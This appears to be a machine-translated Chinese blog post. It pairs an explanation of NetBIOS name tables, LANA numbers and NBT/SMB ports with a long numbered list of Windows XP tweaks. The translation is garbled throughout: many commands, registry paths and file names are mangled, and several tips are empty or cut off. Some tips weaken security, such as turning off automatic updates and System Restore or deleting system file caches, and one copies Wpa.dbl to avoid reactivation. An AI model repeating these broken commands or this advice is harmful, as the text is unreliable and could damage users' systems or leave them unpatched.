This is the first part of the first write to you, I do not know how we feel, wanted to come to feel is to look at, quite quickly, however. .
Not solve the problem, such as browsing the network what is essential? NetBEUI TCP/IP? file and print.
Machine share or NETBIOS API? With \ \ IP browsing of the remote host What is the rationale? Find the computer can cross-route. .
For lookup? like hands-on students fully used to make this clear, Netxray laziness is a good potential.
Waiting to see next part of the equipment - in-depth analysis of the NETBIOS. .
* ** * ** * In-depth analysis of NETBIOS *** ** * **.
In this section, I will first make some basic NETBIOS introduction, and then mainly for the LANA numbers. .
NETBIOS name table, NBT on NETBIOS characteristics explain that the NETBIOS interface.
An understanding of communication theory and skills of using the NETBIOS name table to identify the failure and the Network Neighborhood browsing. .
Excluded method. Which you might want to use some network commands, such as net, nbtstat, etc, if not in use.
Students access to your own windows help files (look at the best under NT, 98, a little slag slag), where not to. .
Explains.
Students are familiar with network programming are all aware, in Windows, there are two important network API, WINSOCK, and. .
NETBIOS。 Usually we use IE to browse the Web, send and receive messages and FOXMAIL OICQ chat is used.
WINSOCK API, but there are some web applications need to use the traditional network interface NETBIOS, browse the Internet. .
Neighbors and sharing files is one of the typical. Although Microsoft has in its newest WINSOCK API was added.
On AF_NETBIOS address family visits, and intends to win2000 from its manipulation to the support of the NETBIOS API changes. .
As an option, but the real extinction have NETBIOS awaited. Here I do not want to turn over NETBIOS heavy calendar.
To judge the merits of the history of it to waste our time. There is truth, we get to the point better. .
NETBIOS API's biggest advantage is that makes programming interface "and protocol independent"--the application can pass.
TCP / IP, NetBEUI and IPX / SPX to run. For example, if you are in the network properties in the same time. .
Add the three protocols, then when you browse through my network places a VCL resource can determine what.
Kind of protocol and it communicates it? However, because this "has nothing to do with the agreement" is determined by the transmission protocol of this. .
Body transformation, add the appropriate protocol NETBIOS interface implementation that produced some limitations.
: First, not all protocols support NETBIOS, we know that only three types mentioned above. .
Agreement on the implementation of a NETBIOS interface (perhaps in front of them with a more Microsoft identify more appropriate); II.
I referred to earlier in the LANA number of problems, LANA number of references in a multi-host environment may be more accurate. .
Do something, for we usually only installed have a network connection for all camera it is simple to understand as a pass.
Communication protocol can be a symmetry. For example, A is only installed TCP / IP, B only installed NetBEUI, though. .
So they are all in agreement binding the NETBIOS interface, but with each other in the network neighborhood is invisible. This is also mentioned.
Wake up neighbors in the network where we want to see most of the machine, you should install all the three protocols. In order to post the text. .
Narrative convenience, we have enabled NETBIOS of three protocols are used to represent a name:.
NetBT / NBT (TCP / IP), Nbf (NetBEUI), NwlnkNb (IPX / SPX), which each correspond to one. .
LANA number, only the same LANA number to establish a communication connection.
Going to say is the most critical NETBIOS name of the problem. For BSD systems, each machine. .
There is a host name, which also leads to the concept of DNS, which is in close connection with UNIX and TCP/IP.
Product. While Windows may not have close family relations with some kind of agreement, in its eyes only machine name (ie..
NetBIOS name) is the most critical. In the win32 environment, for each available LANA number, each feed.
Process will be for the maintenance of a NETBIOS name table. We can use the nbtstat-n command access to the machine and NBT. .
The name of the related table (if you haven't even TCP/IP, don't ask me why not). NETBIOS。.
Name two types: the only name (UNIQUE) and the group name (GROUP). The only name well understood, that is. .
On the same subnet to the only photograph (note I didn't use broadcast domains, this is my third part I will.
Combined with some of the previous discussion in detail below); and the role group name is achievable multicast data communications. Structure. .
It consists of two parts: a string and Scope ID. This string is our own computers,.
Working Group from the name, but also can be used by both characters and their length limit, we go to check their books. .
I won't waste time here, it should be noted that some students to "hide" himself, on his own.
Played like a machine name, like IP, such as 0. .0. .0. .0 (Really I do not know who The skilled to teach everyone, huh, huh) In fact the word. .
符“。." Is not allowed to do the machine name of the perspective from the win98 's flux (misleading people, strange.
Not the old crash, the! ) And NT in this respect do much better. I mainly explain the Scope ID field,. .
It uses NETBIOS name of the last byte, the greatest role than can identify different Microsoft.
Web services, because it is part of NETBIOS name, so UNIQUE name allows two computername. .
Scope ID are the same, but different computers on the same subnet exists. I do not intend to extract large segments of NETBIOS.
Identifier for everyone here on my machine a NETBIOS name table for this example about common. .
NetBIOS identifier types:.
C: \ "nbtstat-n. .
NetBIOS Remote Machine Name Table。.
Name Type Status. .
---------------------------------------------。.
CJT "00" UNIQUE Registered. .
Representatives of the CJT 00 Workstation service, each access computer must first be registered with a unique identifier, which is carried out.
Network Neighborhood browsing the only necessary conditions. In the same subnet other machine can ping CJT get my IP,. .
Note.
This means nothing to do with DNS, is the radio check CJT "00" are, because TCP / IP and NETBIOS are binding. .
MINEGROUP 《00》 GROUP Registered。.
This have nothing to say, when it comes to the working group were set to MINEGROUP the machine will register this one to the same child. .
Some camera companies on the Internet to establish a specific logic associated with the "00" for MINEGROUP communications only by these.
Machine to receive, here we consider not MINEGROUP the machine on the processing of these messages. While this one. .
Is the name of exterior and interior of the least important, but most students will not be able to browse the network neighborhood of fault was it about!.
I will describe such a moment. There we can think about, if your work group name, and others from the same machine name will be out. .
Now.
What? . .
CJT 《03》 UNIQUE Registered。.
CJT "03" on behalf of news services, is that suddenly pop up in a window win2000 for "such and such a violation of copyright." .
Stuff. In fact, this is a very good service, you can let us down with win9X and winNT WINPOPUP NET under.
SEND. .
A simple message delivery. However in the NT, the CJT "03" represents only the receiver of the message, to send a message, you need to note.
Book a CJT "01", this is the first time with NT net send a message to wait a long time because, as CJT "01" only. .
You.
Net send is used only when to register; and 9X only under a CJT "03" took all buttoned up transceiver. But that. .
WINPOPUP seems cannot send the message, I really do not know waht were engaged in Microsoft.
CJT "20" UNIQUE Registered. .
And the CJT 00 "in contrast, the 20" on behalf of the CJT Server service, I said earlier, that provides file and the printer.
The machine is called Shared Services SERVER, it will be when the network announced the browser, which is one of these machines can be. .
My network places "are only necessary conditions" access.
MINEGROUP "1E" GROUP Registered. .
Remember I said before the browser election? I put the 1E "flag as candidates, so that when MINEGROUP group.
The current view in the master server crashes, all have "1E" signs are eligible to run machine. As for this. .
A logo is, remember: SERVER fully agreed as the default candidate browse master server. Gateway.
In the understanding of this sentence, I will have a back problem to help you understand it. .
XIXI 《03》 UNIQUE Registered。.
Huh? Another "03", this XIXI is wisdom for things? In fact XIXI is CJT user name, that is, log on to mention that. .
As shown in the box.
The stuff. In addition to our other machines can also name other than the user name to the other side of his message. Not. .
A if the names of the others had repeated? will report a conflict?. Because this is the XIXI. 03 ".
Press the Enter key in the car until after the registration of. Write to you, can not help on the issue before the ESC key to their senses,. .
Originally called the log on to the network is so that if...., stand no.. Oh, and do a test.
Test first. .
MINEGROUP 《1D》 UNIQUE Registered。.
The "1D" We wanted to come have guessed, is that CJT is MINEGROUP in the Browse Master, and when. .
"Leading" feeling is always so cool. Hee hee.
__MSBROWSE__. . "01" GROUP Registered. .
Seen this strange things certainly quite a bit, but I am afraid that it uses. This is a group name, as a whole.
Subnet master server are all here, so that when MINEGROUP in the machine you want to browse the resources of other groups. .
The CJT is by virtue of this identity for everyone to find the Group of the browse master server, so that we can access the group.
Browse the list. .
Basic introduction to some of the identifier type, as long as such that address common browser failure was a wealthy man.
More than spacious, and through the back of an exercise you can practice to master this method. For further want to learn more. .
Identifier for the type of class you can use the net start command was informed of other Microsoft services, most services have a label.
Identifier and its corresponding. .
MAC Address = 00-88-CC-23-15-54。.
POPO have said before, use nbtstat-A IP can be informed of the remote host's MAC, The principle is that we. .
I would like to say that the NBT. Now we already know that NBT is the establishment of the TCP/IP transport protocol.
The NETBIOS interface, we first compared it with Nbf for some. Nbf refers NETBIOS frames protocol. .
To NetBEUI as the basis for this is truly the schema at the link layer on top of the agreement, but also because it is.
In the LLC above, it is not possible route. Only available with a number of routing protocols (such as IP or IPX) can be achieved across broadcast domains. .
Browse the most rapid development because TCP/IP is the most popular, NBT will also be members. NBT provides services.
To be divided into three categories: Name Service (UDP137), datagram service (UDP138) and Session services (TCP139). .
1) name service is mainly used for broadcast address book network NETBIOS name and IP address conversion, such as those in front of me.
A ping CJT example. Because NBT is based on TCP / IP, rather the establishment of TCP / IP communication is to be aware of both sides. .
IP address, MAC address using Nbf direct communication. But also because using a UDP broadcast, so the name.
Said the service can not cross routers. (Here we only for b-node, and do not be introduced WINS). .
2) datagram service provides connectionless and means of communication for broadcasting. It is mainly used to browse through the list, ahead of me.
We also said that My Network Places on the desktop is that it built, we can also use the NET SEND * command to the calculation. .
When the unit is also sent a message by its UDP broadcast (multicast). But also because it uses the UDP transport layer protocol.
Which will be encountered when crossing the router the same problem with the name of the service. .
3) using a connection-oriented TCP session service is our Savior, because it can be used across a router. Network.
NETBIOS traffic is generated mainly because of the use of session services, and file and printer sharing services are constituted. .
Session service communication. Here you have to mention the SMB (Server Message Block), but to explain.
Chu SMB, may start with the origin from the NCB, which may then be a long the. Here I will teach to those who are not quite clear. .
The relationship between the white of their classmates a simple approach, although not too accurate, but quite useful, and want to know the students don't give.
I put on misleading the masses of flattery :-) Oh, the first SMB is a protocol, an "application layer" agreement, based on. .
SERVER/CLIENT architecture of application-layer protocols, it can be considered a kind of HTTP, FTP or TEL.
NET and add the file and printer sharing service machine is the SERVER side, can be visited by other workstations and servers. .
Ask if you did not add the file and printer sharing service, you cannot access by another camera. Of course, in addition to the SMB.
File and printer services, it also can control the conversation and exchange of information, such as net send command can be used directly to make. .
Use the message type SMB packet to a specific computer. And because the session service is built on top of TCP, as long as you can be.
Know the remote host IP, you can cross the router. .
Finally, we are not responsible for, and chip in an article, I wonder if we are disappointed later than expected:-).
Principles of learning, after all, is boring, but it is also necessary. Because of the limited length and level, and many places introduced me. .
Are brief, perhaps some students will read a little difficult, I turned to some of the conceptual documentation for help.
We read. Actually to be honest, its better to find a netxray see these things come to see themselves get caught in the end. .
When you open my network places, switch machines, shared files, name resolution, the name registration your machine did.
What is far greater than my East 1 West 1 of Luanjiang much stronger. 1. . Reinstall Windows XP without re-activated. .
If you need to reinstall Windows XP, you typically must be reactivated. In fact as long as the first activation time, backup Windows/System32 directory better in Wpa. .dbl file, there is no longer activated. After you reinstall Windows XP, you just need to copy the file to the directory above.
2. . How do I know if my Windows XP has been activated. .
Open the start → run, in the pop-up dialog box enter: oobe/msoobe/a, carriage return after the system will pop up a window telling you whether the system has been activated.
3. . Close the zip folder function. .
Do you think that Windows XP Zip Folders feature is too slow, features are not attractive? if so, you can open the start → run, in the pop-up dialog box enter: regsvr32/u zipfldr. once the .dll, enter ZIP Folders feature turned off.
4. . For Windows XP ISO file can be engraved. .
Windows XP does not provide direct burn ISO files, but you can download a third-party plug-ins to add this functionality to the system. The plug-in download address: http://members. .home. .net/alexfein/.rderSetup .msi is... ".
5. . Login screen background color. .
Open the registry editor, locate the [HKEY-USERS .DEFAULT//./Colors Control Panel], the value of the Background will be changed to "0 0 0" (without quotation marks), so that the logon background is black.
6. . Completely uninstall XP. .
Some people install Windows XP found that he does not like the operating system, then you can use the Windows 98 installation CD-ROM to boot into DOS, and then type:.
format-ur. .
This will delete all files in XP, and you can reinstall Windows 98/Me.
7. . System help a straw. .
When you suspect that the system to restart the computer before the changes can lead to failure, you can boot the system by pressing the F8 key, and select "last known good configuration" to restore the changes made to your system.
8. . To restore the previous driver for the hardware. .
Once you have installed a new hardware driver found in system instability or hardware does not work, "Device Manager" and select the "restore drivers" button, you can revert to a previous normal system status. However, you cannot restore the drivers for your printer.
9. . Automatic landing. .
Click Start → Run, enter "rundll32netplwiz. .dll, UsersRunDll" (without quotation marks), and User Accounts in the Users must enter a "user name and password to use this computer", click "OK", then in the pop-up dialog box, enter you want your login username and password.
10. . Quick shutdown or restart of the shortcut keys (available time). .
Click on the desktop, right-click, select new, shortcut (pop-up wizard, enter the location as: C:/WINDOWS/system32/s .exe-shutdown.-t 10 (which can be changed to-s-r, restart, and t-10 represents a delay of 10 seconds, you can change this number). Finished the shortcuts, follow the above method to specify an icon for it. . .
11. shutdown, restart, as long as 1 second.
If you want instant shut down Windows XP, you can press CTRL + ALT + DEL, and then in the pop-up Task Manager, click "Shutdown" → "off", at the same time hold down the CTRL, less than 1 second you will found that the system has closed the matter, simply on the blink of an eye. By the same token, if the "shutdown" menu, select "restart", you can quickly restart. .
12. Search for missing the Quick Launch bar.
Mouse over the blank area of the taskbar, right-click from the pop-up menu, select "Properties" in the pop-up window, select "Taskbar" tab, and then from the "Taskbar appearance" box to "Show Quick start "check box is selected, the" OK "on the line. .
13. Batch file renaming.
Windows XP provides the bulk rename files feature in Explorer select several files, then press F2 key, and then rename the files in one, so that all the selected files will be renamed to a new file Name (in increments added at the end of the figure). .
14. To quickly lock your computer.
Right-click the desktop, in the resulting shortcut menu select New "shortcut", then the system will start the Create Shortcut Wizard, in the text box input "rundll32.. Exe user32.. Dll, LockWorkStation", Click "Next" in the pop-up window, enter the name of the shortcut, click "Finish". Of course, the easiest way is to lock the computer directly by WinKey + L. .
15. Let two-button mouse with scroll-page feature.
In the Control Panel, double-click "mouse", and in the pop-up "Mouse Properties" dialog box, select the "click lock" column of "start-click lock" key. Then click the "Settings" button, the pop-up "click lock settings" dialog box will set minimum mouse, click on "OK" to save. Open a page, click on the page scrolls, not far away from the page scrolls up and down move the mouse, you can achieve this feature. Click again on the page you can turn off this feature scrolls. .
16. Let Windows XP read English letters.
Find the "aids" group in the "about people" program, click on the "voice" button, enter the "Sound settings" interface can be some settings and then save. When you hover your mouse over the dialog box with the letters, menus and buttons, it will hear a male voice reading in English. .
17.. restoring Windows classic interface.
Many people have installed Windows XP after the first feeling is that Windows has become very beautiful. Unfortunately, the price is just beautiful as not to deplete our wealth of memory and memory. To return to the classical Windows like interface and usage, please right-click the desktop, select "Properties" command to enter the "Display Properties" settings window. Here a total of "theme", "Desktop", "Screen Saver", "look" and "Settings" tab 5.。.
Note: Windows XP in the "theme" and "Appearance" tab is closely related, as long as an option to change any of them, in another tab will see the appropriate changes. .
18. recovery "start" menu.
The new Windows XP "Start" menu was quite convenient, the impact on system resources, not much. If you like the last of the classic menu, then right-click the task bar space, select "Properties" menu, go to "Taskbar and Start Menu Properties" settings window, select the "[Start] menu" tab, select "classical [Start] menu" can be restored to the way it was before the. .
19. optimization of Visual effects.
Windows XP, operating with the interface is really very nice, nice is to consume a large amount of memory as the underlying price, relative to the speed and beauty, we'd rather choose the former, right-click "My Computer", click "Properties / Advanced "in the" Performance "column, click the" Settings / Visual Effects ", where you can see the appearance of all the settings, you can manually remove unwanted features. Here the appearance of all the special settings such as fade, smooth rolling, sliding open, and closed off all the visual effects are, we can save "a lot" of memory. .
20. disable unnecessary services component.
Like Windows XP and Windows 2000 can be used as such as Http server, mail server, FTP server, so every time Windows XP starts, and with it launched a number of services, there are many services for us ordinary users is completely useless So off they are a good choice. Operations is: right-click "My Computer" and select "Manage / Services and Applications / Services", will not need to disable the services components. .
Note: some services are Windows XP required, after the closure will crash the system. View details for confirmation before prohibition.
Editor's Note: For Windows XP 90 common services, will have a special chapter of this article. .
21. to reduce the startup project.
Many applications will be given a free hand in the installation added to the system startup group, will run automatically every time you start the system, which not only extended the start time and start after the completion of system resources has been eaten a lot! We can reduce the system load at startup procedures, is: Select "Start" menu's "Run", type "msconfig" Startup "System Configuration Utility" and enter "start" tab in the window lists the boot loads of items and the source, look carefully at whether you need it automatically load, or clear the box before the project, the less load the project, start the faster the speed of nature. The need to restart before taking effect. .
22. turn off System Restore.
"System Restore" feature is the Windows family of operating systems is an important feature of a problem when Windows is running, the reduction of the operating system. "System Restore" Although people often make mistakes useful, but it makes you hard disk in a highly busy state, you will find your hard drive is always on the go, because Windows XP to record action to restore the future. If you have confidence, then do not use it, because it can account for a lot of memory. .
Turn off System Restore, click the "start/all programs/Accessories/System Tools/System Restore" in the system restore interface, click the "system restore settings" and enter "system restore settings" window, clear the "all drives on the turn off System Restore" check box so that Windows XP will delete backups of system restore points, freeing the disk space it takes up.
Generally speaking, in order to balance system performance and system security, the author recommends open letter where Windows XP's System Restore feature. .
23. turn off automatic updates.
"Automatic Updates" is a Windows XP upgrade your system for the convenience of users has launched a new feature, this function can be introduced in the Microsoft system patch or upgrade the system Anquan patches, automatic reminders to elevate the system, but this functionality You a requirement that users must always online, but for those of us less iron and silver "poor", this requirement is too harsh, so we "automatic update" feature closed off, to "manual upgrade." .
Turn off automatic updates for specific actions by right-clicking "my computer/properties/automatic updates," in the "alert settings" select the "turn off automatic updates. I will manually update the computer "in a. ..
24. . Close the Remote Desktop. .
A special feature of this feature is you can let others in on another machine to access your desktop. In the local area network, this feature is very useful. For example you have a problem that can have recourse to a colleague, he can do to you, directly through the "Remote Desktop" to access your machine to help you solve the problem. But we only have one computer of ordinary users, this feature is redundant, so we have to turn it off, don't let it stay there wasted memory. Specific action is by right-clicking "my computer", select "properties/remote", "Remote Desktop" in the "allow users to connect remotely to this computer" check removed.
25. . Disable the hibernation feature cancellation. .
Windows XP hibernation can put the memory of the current status of the system completely saved to disk, when you next time, the system does not need to be loaded, the system initialization process, go directly to your last hibernation state, so start very quickly. But it can take up a lot of hard disk space (and the same size as your memory), you can go to "control panel/power/sleep" option to turn it off in order to free up hard disk space, when I go to when you want to use to open it again. Click "Start/Control Panel/power management/sleep", "enable hibernation" hook to get rid of before.
26. . Turn off "automatically send an error report" function. .
Everyone in Window XP certainly has done that once a program terminates abnormally, the system will automatically popup a dialog box asking you whether the error is sent to Microsoft, this is XP "automatically send error" function, the error message sent to the Microsoft Web site. Although Microsoft has vowed that can provide strong security, does not divulge individual privacy, but the information sent to Microsoft may be included in your viewing or editing the document information, and perhaps this is contains individual privacy or confidential company, so if you want to protect their rights, we should have turned this feature off. . .
Close the "Internet time synchronization".
"Internet time synchronization," is to make your computer weekly, and Internet time server clock once synchronized, so that your system time will be accurate, but this feature is not useful for us, but also may cause problems crash . In general, as long as you install Windows XP after the first time synchronization on it. So we take it off. Concrete action is: Click "Start / Control Panel / Date, Time, Language and Regional Options" and then click the "Date and Time / Internet Time." .
27. a reasonable set of virtual memory.
For the virtual memory file, Windows XP default values for security is always a great set, wasting a lot of hard disk space, in fact, we can set its value will be smaller. Is: Go to "Control Panel / System / Advanced / Performance / Settings / Advanced / Virtual Memory / Change", to the virtual memory settings windows, first determine what your page file on the drive letter, and then drive another drive letter the page file all the disabled. I suggest you put it is set to the other partition, Er than the default of the system where the partitions, can increase the page file to read and write speed is beneficial to the system of fast-moving.. .5 times, but if your memory is relatively large, it takes up space is also very impressive, therefore, recommends that if used with 256 MB of memory, set to 1.5 x, maximum and minimum values, if the above set to 512MB memory capacity of half totally feasible.
28. . Remove unnecessary documentation. .
Windows XP has many files usually we rarely used, placed on your hard disk, a waste of space, reduce system performance. We can put these to use couldn't file deletion, you need to delete the file are:.
Help file: In the C: / Windows / Help directory. .
Drive backup: C:/Windows/i386 driver cache/Driver directory. .cab file..
System file backup: the average user is not very useful, use the command sfc. . Exe / purgecache deleted. .
Standby: the dll file in the c:/Windows/system32/dllcache directory.
Input Method: In the C: Windows / Ime folder directly delete chtime, imjp8_1, imkr6_1 three directories can be, respectively, Traditional Chinese, Japanese, Korean input method. .
29. delete suppressed in WindowsXP.
In the normal Windows XP installation, will automatically install many components, many of these components have less than normal, install the system will take up Henduo space and reduce system performance, we can delete unused for Zujian the following ways . .
Use Notepad to modify the C:/Windows/Inf/directories Sysoc. .inf file, use the find/replace feature in the Find box, enter the "hide" (a comma followed by hide), will be "replaced" box blank. And choose replace all so that all the "hide", are removed, and exits to save, and then click the "Start/Control Panel/Add or remove programs", you can see many usually see components, select do not need to remove the program.
30. . Clean up junk files. .
Windows XP in normal use during the extension TMP, BAK, OLD, junk files, you can use the Windows search function to find out these files, and then delete them. In addition to the default Windows XP system failure error event and write debugging information, file information, we may not. Clicking the "Start/Control Panel/System/Advanced/startup and recovery," empty "event being written to the log file," "write debugging information drop-down box select" no "."
31. . Prohibit MSN with Windows. .
Each time you start Windows Messenger always run automatically, even if you do not want to start it, but it can also automatically run, very annoying, we cannot prohibit it, don't let it with Windows startup? the answer is Yes.
The first method:. .
1. in the "start" menu, click "run" in the "open" box, type "msconfig" and "OK" to open the "system configuration utility" window.
2. . Click the "Startup" tab, in the "Startup Items" list, clear the "MSMSGS" before the check box, and click "OK" button. .
3. When prompted to "restart the computer", click "Yes" button.
The second method:. .
1. open the "Registry Editor" window.
2. . Expand "KEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" branch, and then in the right pane, right-click "MSMSGS", then click on the shortcut menu, "delete" command, when prompted to confirm the deletion, click "Yes" button. .
After setting, MSN will never come with Windows XP startup.
32. . Optimizing bandwidth. .
Windows XP Professional Edition adds QoSRRP (this is the Quality of Service Resource Reservation Protocol abbreviation, which means the quality of Service RSVP). As a general rule, attempt to access information through the available bandwidth, application or through QoS application program interface, or through another known as TCI's application programming interface. . .
Select "start" menu, click on the "logout" in the main screen to login, the login of the main screen, press the Ctrl + Alt + Del twice appeared in the login window, enter the user name Administrator (Note: case sensitive), the password column is filled in with their own password (if not set, the password is blank) press OK to enter the Windows, click the "start/run" and enter gpedit. . .
Note: Windows XP Home Edition users do not need to change these settings.
33. . Remove unnecessary fonts. .
Windows XP is installed, the more it will consume more memory and system resources, slowing down the system, therefore, is not commonly used fonts, we'd better get it removed from the system. Font files are stored in the c:/Windows/font directory, you can choose some fonts for more unused fonts, a deleted it.
34. . Change the IE temporary folder. .
The Internet is a large number of temporary files are stored in a temporary folder, IE by default, the temporary folder is on the system partition, a large number of temporary files on your hard drive read/write file system performance. You can change the location of the temporary file to avoid this situation. Clicking the "Start/Control Panel/Internet Options" in the "General" tab click "settings" button in the opened window click the "move" button, specify the folder to a folder on the system partition, click the "OK", the temporary file will move to the specified folder.
35. . Accelerate the "Network Neighborhood" to share the speed. .
。.
36. . Clear the pre-read document. .
When you use Windows XP some time after the installation directory of the prefetch folder (C:/Windows/prefetch) files become large, there will be a dead link files, it slows down the system time, it is recommended that you periodically delete these files.
37. . Setting read-ahead to increase speed. .
Windows XP to use for the prefetch to set this new technology to improve system speed. . .
38. Cancel unnecessary network services component.
Click the "Start / Control Panel / Network Connections / Local Area Connection" to open the Local Area Connection Status window, click the "Properties" button, open the Properties dialog box, click the "Advanced" tab, select the "by limiting or preventing from Internet, access to this computer to protect my computer and network "option, then click the" Settings "button, you can see all installed, Internet users can access, and running on your network service, unless Do you want to set up FTP or SMTP server, or may wish to abolish all of these projects selected. . .
39. to enable DMA transfer mode.
The so-called DMA, or direct memory access mode, refers to computer peripherals (mainly referring to hard drive) can exchange data directly with memory, this can speed up hard disk access speed, increased speed of data transfer rate. For some reason, Windows XP will sometimes use the IDE channel transfer mode PIO parallel input and output, instead of DMA mode. If this occurs, the user can manually change the IDE channel DMA mode, thus reducing the CPU cycles occupied by the device.。.
40. . To speed up menu display speed. .
Select "start/run", type regedit, registry editing, searching for pops up [HKEY_CURRENT_USER/ControlPanel/Desktop], in the right window, select MenuShowDelay, press the right mouse button, select "modify" and set its value data to 100 or smaller (default is 400), 0 is not recommended, because in this way, as long as the mouse accidentally touch the "all programs", the menu will run, then the disarray.
41. . Accelerate the shutdown speed. .
Windows XP boot speed indeed than previous versions of the operating system is much faster, but they slow down the speed. If you care about to shut down or slow, you can modify several registry keys, you can significantly reduce the Windows closed. First, open the registry editor, locate the HKEY_CURRENT_USER/Control Panel/Desktop/, which has a key named HungAppTimeout, its default value is 5000 (if not, change it to 5000). . Finally, find the following registry location: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Control /. Similarly, the key to which WaitToKillServiceTimeout 4000. In addition, the "Control Panel / Administrative Tools / Services" in the NVidia Driver Help service set to manual, you can also speed up the Windows closing time. .
42. shut down your computer automatically end task.
When in shutdown, sometimes annoying pop-up dialog box, to remind a program is still running, if the end of the task. In fact, by a little modification can make Windows automatically end these are still running. In registry HKEY_CURRENT_USER / Control Panel / Desktop directory, the contents of AugoEndTasks key to 1. .
Note: you may not find AutoEndTasks key value, and if so, they build a string value and change it to this name, the value is set to 1 on the can.
43. . Close Dr Watson Dr. . Watson. .
Click "start/run", type "command drwtsn32", or "start/all programs/Accessories/System Tools/System Tools//Dr Watson," out of the system of Dr. Watson .Watson Dr., leaving only the "dump all thread context" option once the error the hard drive will be read for a long time, and take up a lot of space. As previously, please find user. .dmp file, delete the save tens of MB of space.
44. . To reduce the waiting time disk scanning. .
Although the so-called stability, WindowsXP but not always, occasionally give you a blue face illegal operation when the system will automatically scan, blocks of E-man, tell you have just ended abnormally, the system now needs to check for errors, but also waiting for some time to start, so we can in DOS, type "chkntfs/t: 0", represents the wait time is 0 seconds.
45. . Remove the extra account. .
If your computer has only one use, it is best to build your own an account because you build another account, the Windows XP installation directory under settings/following/documents and one more to you in the name of the account, the folder inside the account information, your Favorites, documents, history, system settings, and so on, forever it footprint is be aware of, the solution is to "Start/Control Panel/user account" in accordance with their own situation to delete the superfluous account.
46. . Let the system automatically shut down to stop responding. .
Click "start/run", type regedit, eject the registry editor, find the [HKEY_CURRENT_USER/ControlPanel/Desktop], in the right window, select AutoEndTasks, press the right mouse button, select "modify" and set its value data to 1 (the default value is 0).
47. . IE web browser acceleration techniques. .
Windows XP comes with Internet Explorer6, there is a little skill, modify started after the very fast (in my camera, it is the moment to start). By right-click on Internet Explorer shortcut icons (such as the taskbar shortcut launch bar the IE icon) to open the icon properties in "goal" after the words "-nohome" parameter.
48. . Encrypt files and folders. .
Any encrypted files and folders, right-click the mouse and select "Properties" command, click the "General" tab, and then select the "Advanced Encrypt contents to secure data" when it can. Note: Windows XP-encryption operations only on NTFS-formatted partition to FAT16 and FAT32 traditional format of partition does not provide encryption support, if you want to use encryption, you need to convert the disk to NTFS format.
49. . Custom folder picture. .
。.
50. . Fast-moving and copying files. .
In Explorer, select the do you want to move or copy files, and then use the right mouse button to drag the file to the destination folder after the release, will pop up a menu that lets you select the copy, move files or create a shortcut, you can even cancel.
51. . Automatically open Windows Explorer. .
In some cases, use Windows Explorer to browse to the folder you want to directly open each folder and view its content more intuitive and convenient. In general we can right-click on the folder and select Explorer, but if you double-click the mouse is used, then we also have the ability to create a more efficient way to open the folder. First of all, open my computer, from the Tools menu, select "folder options", click "file types" tab. In the files of type list, select the "folders" and click "Advanced" button in the edit file type dialog box, select the resource manager, and click "set as default" button. . Now, when you double-click on any folder, it will automatically open Windows Explorer view. .
52. to hide the trash can to delete the files.
Windows XP is the default location of litter bins in the lower right corner of the desktop, system tray at the bottom of the above. If the user open multiple windows, it will block the trash, so that users can not drag and drop files and folders to the Trash. To this end, Microsoft has done a very special ergonomic design, when the user drag the bottom right corner of a group of files and moved to the desktop, the user can drag all the files to the desktop and task bar at the bottom of an empty area, and there remain a few seconds, then all the open windows will be automatically minimized, allowing the user to drag the bin file.。.
53. . To set shared folder permissions. .
The Windows 2000 operating system user settings folder of a shared property with the operation is very simple, simply right-click the folder and select Properties, you can find the shared settings tab to set the folder access to only certain users the rights to access, in Windows XP but could not find this feature. . .
54. quick copy files.
We usually took some time sorting the files on the hard disk and then, picture on picture folder, mp3 files on the music folder and so on, but the return copy, paste, really tedious, let us use A simple way to quickly copy files. Select a folder, such as music, right click to create a shortcut to copy the shortcut in C: / Documents and Settings / user name / SendTo folder, paste the shortcut. .
SendTo is WindowsXP-system folder, the "send to" feature is implemented by it. Now we select either mp3, right-click, select send to "shortcut to" the mp3 music files will be copied to the music folder, is not very convenient! we also can produce software, txt, etc..
55. . Customize your new folder icon. .
A directory is very important to you? let it have a different icon, so that identification is easy. Using Notepad, you create a new file in the directory, file name called .ini Desktop., the following two lines of type in:.
[. . ShellClassInfo]. .
IconFile= 。.
Iconindex =. .
IconFile is your icon file, and .ico, can be used.. .exe, .dll, etc such., there is an icon file. . .
56. completely hidden files.
. .
57. cancel a shared document.
By default, in Windows XP, open My Computer, you will see some of the top hard drive icon in the folder. These are the "shared folders", here is one for every household used to share files folder.。 Wuqingying 51cto technology blog.
58. . According to the specified folder start the Explorer. .
In Windows XP, you can use "Explorer" and "my computer" managing files and folders, but I prefer to use "Explorer". Because the use of the "tree" structure, you can quickly find the desired file or folder, if you copy or move a file or folder, it is more convenient. However, by default, each positioned in the "Explorer" always open "my documents" folder, you can specify a folder yourself?.
First of all, the "Start / All Programs / Accessories" to find "explorer" in the "Explorer" on the right-click context menu select the "Properties" command in the "Shortcut" tab, the target text box content is "% SystemRoot% explorer.. exe" (if your Windows XP installed in C drive, should be "c: Window say plorer.. exe"), only slightly modified look, you can meet the requirements of the .., .Exe,/e h:user "in the" exe "and"/e "must be coupled with a space. ! You're done, now you then open the "Explorer" to go directly to the user folder. There is another workaround, or to start the "user" folder, for example, the first in the desktop folder "user" means the establishment of the shortcut, right-click Start, and in the pop-up menu select "Explorer" command, open "Explorer" and then go directly to the "user" folder.
59. . In the task bar shows a week and date. .
In fact, this does not need to set, as long as the taskbar, a little higher. By: move your mouse over the taskbar at the bottom of the screen in place, as the index into a double arrow, press the left button, dragging and dropping them into two row location. The system tray that displays time, date and week.
Note: The default for Windows XP taskbar is locked, so you may mouse over the taskbar border, the mouse will not be deformed, that let you drag. Please empty space in the task bar then right-click to pop-up menu in the "Lock the Taskbar" before the hook removed. .
60. quick lock the computer.
If you need to leave because of an emergency, but do not want the computer to the system write-off. Then you can choose "New / Shortcut", then the system will start the Create Shortcut Wizard, in the text box, enter "rundll32.. Exe user32.. Dll, LockWorkStation", click "Next" in the pop-up window, enter the shortcut name. For example we can name it "Lock Computer" or use any name you like, click "Finish." Later, we can simply click on the shortcut to lock the computer. .
61. it is prohibited to IE's updated on a regular basis.
In our online later, Windows XP will often pop up in the task bar prompts you to update system files a message, in fact it is regularly updated IE browser check at play, about every 30 days or so, Windows XP system with the IE6. .0 Will periodically check for new software upgrade, if so, you do not download the upgrade, the prompt dialog box will pop up, we can use the following methods to disable IE6. .0 Periodic update checks: Open "Run" dialog box, enter "gpedit..。.
62. . Retrieve XP installation password. .
